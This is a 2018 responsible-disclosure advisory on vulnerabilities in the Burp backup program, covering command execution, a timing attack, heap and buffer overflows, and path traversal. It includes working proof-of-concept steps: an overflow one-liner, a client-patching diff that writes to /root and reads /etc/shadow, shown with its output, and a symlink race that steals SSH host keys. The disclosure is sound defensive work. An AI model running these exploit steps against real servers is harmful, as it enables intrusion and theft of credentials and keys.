Author: Michael Hanselmann. Updated: December 13, 2018.

Burp (GitHub) is a network backup and restore program written by Graham Keeling. In early October 2018 I found several vulnerabilities by reading the source code and, after producing proof-of-concept exploits, reported them to Graham using responsible disclosure. He was extremely welcoming my input and spent a lot of time addressing the vulnerabilities. I contribed a couple of patches as well. An updated release was made available by Graham on December 12, 2018:

Contents

Reproduction environment

Burp 2.2.12 (commit 080c611 from September 28, 2018) built and running on CentOS 7.5.1804. Configure command:

./configure CFLAGS='-Wall -g -Og -fno-inline -fsanitize=address'

Arbitrary command execution via crafted client name

If an attacker has the ability to create files with attacker-controlled content at a predictable location on a Burp server it's possible to execute arbitrary commands, i.e. as a timer command. The proof-of-concept exploit functions as follows:

  1. Write Burp server-side client configuration and malicious script to a newly created temporary directory. The name of the directory is assumed to be sufficiently unique and is used as the client name.
  2. Generate new RSA key and matching certificate signing request (CSR).
  3. Connect to Burp server on localhost and use relative path to client configuration as client name (i.e. /../../../../../../../../../../tmp/tmpxyz). The leading slash is required to avoid a check for a period in the looks_like_tmp_or_hidden_file function. The server will append the client name to the Burp server configuration directory and read the attacker-controlled client configuration.
  4. Supply CSR to get a signed certificate from server. Store resulting certificate locally.
  5. Reconnect to server on localhost using key and certificate. Simulate a check for the backup timer. The server will use a the timer command from the attacker-controlled client configuration and execute the malicious script.

The proof-of-concept exploit script requires Python 3.x. Output from Burp server running as root in test environment:

burp[18845] Client asked for a timer check only.
burp[18845] MESSAGE: Hello World, I am uid=0(root) gid=0(root) groups=0(root) […]
burp[18845] /tmp/tmpcp67h0lf/script returned: 0

There is also a way to execute commands on a Burp server with access to an already-authenticated Burp client. This method is not included in the proof-of-concept exploit and left as an exercise to the reader.

Plain-text password comparison is vulnerable to timing attack

The check_client_and_password function in src/server/auth.c uses strcmp to compare the plain-text password. That makes it vulnerable to a classical timing attack:

static int check_client_and_password(/* ... */)
{
  /* ... */
  if(conf_password && strcmp(conf_password, password))
  {
    logp("password rejected for client %s\n", cname);
    return -1;
  }
  /* ... */

The calling code in src/server/main.c:run_child tries to make it harder by inserting a delay:

/* Calls check_client_and_password */
if(authorise_server(as->asfd, confs, cconfs)
   || !(cname=get_string(cconfs[OPT_CNAME])) || !*cname)
{
  // Add an annoying delay in case they are tempted to
  // try repeatedly.
  log_and_send(as->asfd, "unable to authorise on server");
  sleep(1);
  goto end;
}

Unfortunately by the time of the delay the client has already received the message indicating a password mismatch. While a brute-force timing attack is still slowed down by the limit on the number of concurrent child processes it also results in a denial-of-service attack.

Heap buffer overflow in network protocol parser

The parse_readbuf_standard function in src/asfd.c is used to parse commands in communication between clients and servers connected via a TLS-encrypted TCP connection. The internal read buffer has a fixed-size length of 32032 bytes (ASYNC_BUF_LEN is 16000, thus (ASYNC_BUF_LEN * 2) + 32 = 32032). The command argument length sent by the peer is used without verification and a combination of the code in asfd_do_read_ssl and extract_buf allows for writing beyond the heap-allocated read buffer:

{ perl -e 'print "cFFFF", ("A" x 0xFFFF);'; sleep 1; } | \
openssl s_client -connect backupserver:4971

Depending on what is stored on the heap beyond the buffer the consequences can be more or less severe (the malicious command(s) can be sent at any time). In an AddressSanitizer-instrumented build the failure looks as follows:

2018-10-11 20:01:09 +0000: burp[8255] Connect from peer: 127.0.0.1:45890
=================================================================
==8255== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60900000ff20 at pc 0x40835a bp 0x7fffffffd110 sp 0x7fffffffd100

# Stack trace
(gdb) bt
#0  __asan_report_error (pc=4227930, bp=140737488343312, sp=140737488343296, addr=106171591622432, is_write=true, access_size=1)
    at ../../../../libsanitizer/asan/asan_report.cc:628
#1  0x00007ffff4e5e0b6 in __asan::__asan_report_store1 (addr=<optimized out>) at ../../../../libsanitizer/asan/asan_rtl.cc:231
#2  0x000000000040835a in asfd_do_read_ssl (asfd=0x602a0001f180) at src/asfd.c:199
#3  0x000000000040a92e in async_io (as=0x601000007ca0, doread=doread@entry=1) at src/async.c:200
#4  0x000000000040adef in async_read_write (as=<optimized out>) at src/async.c:237
#5  0x00000000004064c0 in asfd_read (asfd=0x602a0001f180) at src/asfd.c:445
#6  0x0000000000453b52 in authorise_server (asfd=0x602a0001f180, globalcs=0x60480001d480, cconfs=0x60480001ce80) at src/server/auth.c:116

Client-side buffer overflow when showing backup file list in long form

Backup clients can list the contents of backups in either a short form showing only file names or a long form with additional values such as file owner and mode. The latter uses the ls_long_output function in src/client/list.c which is prone to a buffer overflow vulnerability:

static void ls_to_buf(char *lsbuf, struct sbuf *sb)
{
  char *p;
  const char *f;
  /* ... */
  for(f=sb->path.buf; *f; ) *p++=*f++;
  /* ... */
}

static void ls_long_output(struct sbuf *sb)
{
  /* Fixed-size buffer */
  static char lsbuf[2048];
  ls_to_buf(lsbuf, sb);
  /* ... */
}

The following command creates a directory whose absolute path is about 125k in length (tested on ext4 and XFS):

mkdir -p "$(perl -e 'print "path/" x 25000;')"

In an AddressSanitizer-instrumented build the failure looks as follows:

$ burp -c /etc/burp/burp.conf -a L -b 3
...
==9801== ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000731200 at pc 0x43cde0 bp 0x7fffffffd670 sp 0x7fffffffd660
WRITE of size 1 at 0x000000731200 thread T0
    #0 0x43cddf (/usr/local/sbin/burp+0x43cddf)
    <snip>
    #8 0x7ffff3413444 (/usr/lib64/libc-2.17.so+0x22444)
    #9 0x4060f8 (/usr/local/sbin/burp+0x4060f8)
0x000000731200 is located 32 bytes to the left of global variable 'ret (src/client/restore.c)' (0x731220) of size 8
  'ret (src/client/restore.c)' is ascii string ''
0x000000731200 is located 0 bytes to the right of global variable 'lsbuf (src/client/list.c)' (0x730a00) of size 2048

# Stack trace
(gdb) bt
#0  __asan_report_error (pc=4443616, bp=140737488344688, sp=140737488344672, addr=7541248, is_write=true, access_size=1)
    at ../../../../libsanitizer/asan/asan_report.cc:628
#1  0x00007ffff4e5e0b6 in __asan::__asan_report_store1 (addr=<optimized out>) at ../../../../libsanitizer/asan/asan_rtl.cc:231
#2  0x000000000043cde0 in ls_to_buf (
    lsbuf=lsbuf@entry=0x730a00 <lsbuf.21435> "drwxrwxr-x  3  1000  1000      18 2018-10-11 20:27:17 /tmp/path/path/<snip>/path", sb=sb@entry=0x60260000c4e0) at src/client/list.c:52
#3  0x000000000043cdfb in ls_long_output (sb=0x60260000c4e0) at src/client/list.c:58
#4  0x000000000043ce5d in list_item (act=act@entry=ACTION_LIST_LONG, sb=<optimized out>) at src/client/list.c:73
#5  0x000000000043d3bd in do_list_client (asfd=0x602a0001f800, act=ACTION_LIST_LONG, confs=confs@entry=0x60480001f280) at src/client/list.c:177
#6  0x000000000043efba in do_client (confs=confs@entry=0x60480001f280, action=action@entry=ACTION_LIST_LONG, vss_restore=vss_restore@entry=1)
    at src/client/main.c:512

What could probably be considered a bug is that Burp produces a warning on the client if the path gets too long:

dmdmdm2018-10-11 22:09:41 +0000: burp[16175] WARNING: Could not stat /tmp/path/p
ath/path/path/path/path/path/path/path/path/path/path/path/path/path/path/path/p
ath/path/path/path/path/path/path/path/path/path/path/path/path/path/path/path/p
ath/path/path/path/path/path/path/path/path/path/path/path/path/path/path/path/p
ath/path/path/path/path/path/path/path/path/path/path/path/path/path/path/path/p
ath/path/path/path/path/path/path/path/path/path/path/path/path/path/path/path/p
ath/path/path/path/path/path/path/path/path/path/path/path/path/path/path/pafmdm
smdmsmdmsmdmdmfmfmfmfm 1696

Extended attribute restore client-side denial of service or information leak

When restoring additional attributes to files such as ACLs or extended attributes (xattr) the get_next_xattr_str function in src/client/xattr.c is used to decode the names and values:

char *get_next_xattr_str(struct asfd *asfd, char **data, size_t *l,
	struct cntr *cntr, ssize_t *s, const char *path)
{
  char *ret=NULL;

  if((sscanf(*data, "%08X", (unsigned int *)s))!=1)
  {
    logw(asfd, cntr, "sscanf of xattr '%s' %zd failed for %s\n",
            *data, *l, path);
    return NULL;
  }
  *data+=8;
  *l-=8;
  if(!(ret=(char *)malloc_w((*s)+1, __func__)))
    return NULL;
  memcpy(ret, *data, *s);
  ret[*s]='\0';

  *data+=*s;
  *l-=*s;

  return ret;
}

The code has multiple issues exploitable by a malicious backup server or a previously uploaded backup:

src/client/extrameta.c:set_extrameta suffers from the same issues. src/client/xattr.c:append_to_extrameta is mixing signed and unsigned, though it's unlikely to be dangerous.

Path traversal allows writing and reading files outside backup directory on server

A flaw in the server-side handling of paths passed from clients allows writing arbitrary files from the context of the Burp server. If the server runs as root privilege escalation is trivial. Even otherwise it's possible to gain code execution given the right circumstances.

Paths stored in a backup manifest are used without further verification. By injecting relative paths into the manifest it's possible to redirect file reads through a symlink, thus being able to read files from anywhere the Burp server has read access to by doing a restore. This vulnerability requires the attacker to be able control symlinks on the Burp backup server, e.g. by having direct (unprivileged) shell access.

Both problem stem from the fact that the server trusts paths given by the client, particularily the parameter to the CMD_FILE message. There may be other affected message codes or code paths.

The demonstration assumes that the Burp server runs as root, as does the client. Changed files are handled differently from new files, so we'll use a temporary directory to have new files:

tmpdir=$(mktemp -d /tmp/pocXXXXXXXX)
# Will print the temporary directory, i.e. "/tmp/pocVYpTAOeZ"
echo "$tmpdir"

touch "${tmpdir}/aaa.aaa"

# Trigger for write vulnerability
{
  date
  echo 'Hello, I came from the client'
} >"${tmpdir}/poc.txt"

# Trigger for read vulnerability
date > "${tmpdir}/poc2.txt"

Modify the simple client configuration (server connection settings, etc. omitted):

protocol=1
compression=0
server_can_override_includes=0

# Don't want the file contents to be mangled
exclude_comp=txt
exclude_comp=aaa

# Force server to create data directories first
include=/tmp/pocVYpTAOeZ/aaa.aaa

# PoC script
include=/tmp/pocVYpTAOeZ/poc.txt

# Prepare for reading arbitrary files
include=/tmp/pocVYpTAOeZ/poc2.txt

Patch client code to manipulate message sent back to server (Burp runs as root in test environment, hence path can be in /root):

diff --git a/src/client/protocol1/backup_phase2.c b/src/client/protocol1/backup_phase2.c
index aa144f8..7c8469a 100644
--- a/src/client/protocol1/backup_phase2.c
+++ b/src/client/protocol1/backup_phase2.c
@@ -311,6 +311,27 @@ static int deal_with_data(struct asfd *asfd, struct sbuf *sb,
 		}
 	}

+	if(sb->path.cmd==CMD_FILE) {
+		char tmp[100]={0};
+
+		if (strstr(sb->path.buf, "poc.txt")) {
+			time_t t=0;
+
+			time(&t);
+
+			// File we want to write
+			snprintf(tmp, sizeof(tmp), "/../../../../../../../../../../../../../../root/poc%ld.txt", t);
+
+		} else if (strstr(sb->path.buf, "poc2.txt")) {
+			// File we want to read
+			snprintf(tmp, sizeof(tmp), "/../../../../../../../../../../../../../../home/vagrant/rootfs/etc/shadow");
+		}
+
+		if (tmp[0]) {
+			iobuf_from_str(&(sb->path), CMD_FILE, strdup_w(tmp, __func__));
+		}
+	}
+
 	if(sb->path.cmd==CMD_FILE
 	  && sb->protocol1->datapth.buf)
 	{

Verify that proof-of-concept file does not exist on server:

# cat /root/poc*.txt
cat: /root/poc*.txt: No such file or directory

Simulate malicious user wanting to read arbitrary files via a Burp client (test environment runs in Vagrant). We create directory into which poc2.txt will be written. By doing so a relative path is stored in the backup manifest. Before restoring later we'll replace the rootfs directory with a symlink.

sudo -u vagrant bash <<'EOF'
rm -rf --one-file-system /home/vagrant/rootfs
mkdir -p /home/vagrant/rootfs/etc
EOF

Backup client:

burp -c /etc/burp/burp.conf -a b

The output should look about as follows:

[…]
burp[11286] Phase 1 begin (file system scan)

fmfmfm 6

burp[11286] Phase 1 end (file system scan)
burp[11286] Phase 2 begin (send backup data)

fmfmfm 6
[…]
burp[11286] Phase 2 end (send file data)
burp[11286] backup finished ok

A file will have been written outside the backup client directory on the backup server:

# ls -lhd /root/poc*.txt
-rw-r--r--. 1 root root 59 Oct 22 17:23 /root/poc1540228989.txt

# cat /root/poc*.txt
Mon Oct 22 17:21:38 UTC 2018
Hello, I came from the client

The manifest will now contain relative paths. Note the path to /etc/shadow.

# zgrep ^f testclient/current/manifest.gz
f0018/tmp/pocz4H7BWvG/aaa.aaa
f0041/../../../../../../../../../../../../../../root/poc1540230621.txt
f0049/../../../../../../../../../../../../../../home/vagrant/rootfs/etc/shadow

Before restoring on the client we need to prepare a symlink on the Burp server:

sudo -u vagrant bash <<'EOF'
rm -rf --one-file-system /home/vagrant/rootfs
ln -s --no-target-directory / /home/vagrant/rootfs
EOF

Restore backup on client (stripping path components is important as the client will also try to resolve the relative path and could end up overwriting critical files if run as root):

rm -rf restore &&
burp -c /etc/burp/burp.conf -a r -d ./restore -f -s 19 -r /shadow

The restored file on the client now contains the contents of /etc/shadow from the Burp server:

# head -n 3 restore/shadow
root:$1$[…]::0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::

What happened is that the Burp server combined the relative path from the manifest with the base directory for the backup and traversed through the rootfs symlink before reading /etc/shadow.

$ sudo -u vagrant readlink -f /home/vagrant/rootfs/etc/shadow
/etc/shadow

Client-side race condition allows reading arbitrary files during backup

The deal_with_data function in src/client/protocol1/backup_phase2.c calls into bfile_open_for_send in src/bfile.c. The Unix implementation of the function used to open files, bfile_open forwards the flags onto open(2). On most systems they will be O_RDONLY | O_BINARY | O_NOATIME. No checks are made to ensure that the file read is what it claimed to be during the scan phase.

As it turns out an unprivileged attacker can ensure that a certain location is a regular file during the scan phase and then change it to a symlink pointing to an otherwise unaccessible file before the file transfers are made. The backup will contain the contents of the unaccessible file and all it takes to gain access is to ask an administrator to restore an “accidentally” deleted file.

The proof-of-concept exploit demonstrates how to gain access to the SSH host keys. For simplicity GDB is used to pause the backup client before the transfer phase. A real attack could use inotify(7) to detect the scan phase with high reliability. Alternatively a large number of files and symlinks could be employed to simply race the Burp client.

SSH host and identification keys share the same format. To make everything look harmless we generate a dummy key (doing will also ensure the file contents need to be backed up as they changed):

$ rm -f .ssh/id_rsa* && ssh-keygen -N '' -f .ssh/id_rsa
Generating public/private rsa key pair.
Your identification has been saved in /home/vagrant/.ssh/id_rsa.
Your public key has been saved in /home/vagrant/.ssh/id_rsa.pub.

Ensure proof-of-concept directory is backed up, e.g. by modifying Burp client configuration:

server_can_override_includes=0
include=/home/vagrant/.ssh

Next the attacker waits for the backup scan phase to run. We simulate that:

$ gdb -ex 'b backup_phase2_client_protocol1' -ex r --args burp -c /etc/burp/burp.conf -a b
[…]
burp[3629] Phase 1 end (file system scan)

Breakpoint 1, backup_phase2_client_protocol1 (…)
  at src/client/protocol1/backup_phase2.c:484

The attacker can now replace the regular files with symlinks:

rm -f .ssh/id_rsa*
ln -sT /etc/ssh/ssh_host_rsa_key .ssh/id_rsa
ln -sT /etc/ssh/ssh_host_rsa_key.pub .ssh/id_rsa.pub

Assume that the backup client would reach the transfer phase:

(gdb) c
Continuing.
burp[3629] Phase 2 begin (send backup data)
[…]
burp[3629] Phase 2 end (send file data)
burp[3629] backup finished ok

The attacker will go ahead and delete the symlinks. Afterwards they can wait a while and ask an administrator to restore the files, e.g. claiming accidental removal.

rm -f .ssh/id_rsa*

An administrator restores the files and moves them to a location accessible by the attacker (the latter not shown):

rm -rf restore && burp -c /etc/burp/burp.conf -a r -d ./restore -f -r vagrant/.ssh

The administrator is unlikely to notice that the host's SSH key has been made accessible to the attacker:

# sha256sum /etc/ssh/ssh_host_rsa_key restore/home/vagrant/.ssh/id_rsa
ff7b2d5096255390a73c9cf310c223795867a28fe0615d616241914830d15922  /etc/ssh/ssh_host_rsa_key
ff7b2d5096255390a73c9cf310c223795867a28fe0615d616241914830d15922  restore/home/vagrant/.ssh/id_rsa

# sha256sum /etc/ssh/ssh_host_rsa_key.pub restore/home/vagrant/.ssh/id_rsa.pub
f3421111989976c38b2edbb4e07618491e3cbf8cfb10422e69d21957f6db5e6d  /etc/ssh/ssh_host_rsa_key.pub
f3421111989976c38b2edbb4e07618491e3cbf8cfb10422e69d21957f6db5e6d  restore/home/vagrant/.ssh/id_rsa.pub